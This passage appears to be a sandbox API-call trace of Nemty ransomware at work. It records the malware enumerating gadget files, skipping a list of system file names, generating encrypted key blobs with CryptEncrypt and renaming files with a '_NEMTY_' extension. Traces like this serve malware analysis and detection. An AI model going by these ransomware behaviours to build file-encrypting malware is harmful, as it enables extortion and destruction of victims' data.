RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.html", lpUsedDefaultChar=0x0) returned 13 [0143.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0143.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.791] Sleep (dwMilliseconds=0x5) [0143.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x95b8770, dwHighDateTime=0x1d561e8)) [0143.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x95b8770, dwHighDateTime=0x1d561e8)) [0143.799] GetLastError () returned 0x12 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.799] GetLastError () returned 0x12 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.799] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0143.799] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0143.799] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.799] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="E6kI4pT5Iejzo9jcbSwVtj1+mx+rpAchnItne2kPWv3H6oxPVt1eIevmH9i7gonq\r\nTy8Y5ikdqK+uX+zT0Ppo3NCiSh7HvkVT3RW5Ony/03pq70y19xNnBEOWZ8L2BzfH\r\n8BBzptWkyHzcgiAGMdjLkxv/so9XmTsBJfc71ZrmGeAvRBguMDEih7Mce5MDBcbQ\r\n1SKBZojcyQe2gNjOaMQyGANrsQS7RFWkUNoSZ0GBcnvRNhEqwCU6xg/DOg13gFbX\r\nVIYRyTgu8rG+lK2qpML1wX5KlRHUoMxkU+tVS9sJ06yJmaBjp10Sx5Nw+RiTeE06\r\nZYsHWaLUFK7Ev7d2Yg1Upw==\r\n", pcchString=0x653e91c) returned 1 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.799] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.799] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0143.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.912] CloseHandle (hObject=0xffffffff) returned 0 [0143.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\rssfeeds.html._nemty_kgobjgd_")) returned 0 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.913] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.html", cAlternateFileName="")) returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0143.913] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0143.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0143.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0143.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0143.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.914] Sleep (dwMilliseconds=0x5) [0143.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x96e9270, dwHighDateTime=0x1d561e8)) [0143.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x96e9270, dwHighDateTime=0x1d561e8)) [0143.923] GetLastError () returned 0x5 [0143.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.923] GetLastError () returned 0x5 [0143.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0143.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0143.924] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.924] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="LJH7bwsTqlC1d5JFkPWoLihdRfvBwHLo6ME/cW0k1tfMeo+QJLp0B0h8kkmM0+m3\r\nHwEce6yQ0AsSoZfGEz4GHuJVqMA1Dm8UtLTlowzeVZWm/B2656lOD6eqEDjvIjb1\r\nMy9ebnVJTnz0Q71j4dTyL4rH/QmT/+YhB8hLUtlnVqKhbMks/jsdMiim+aa113ti\r\nXZWD2eaawiTTX7nL9OhDqRnLagB74R57ThbocTa6UGBfW7fdVkHKTNuOG44pH+0A\r\nVD2yCZO4zd4Vx1tIW8c3iGnuw1Jb1iGBCk0Z9yKdXDx8W3mOfwsEDJuJ5COWmTRD\r\nj2TVYz0wYSBetc7MGEsynQ==\r\n", pcchString=0x653e91c) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.924] HeapFree (in: 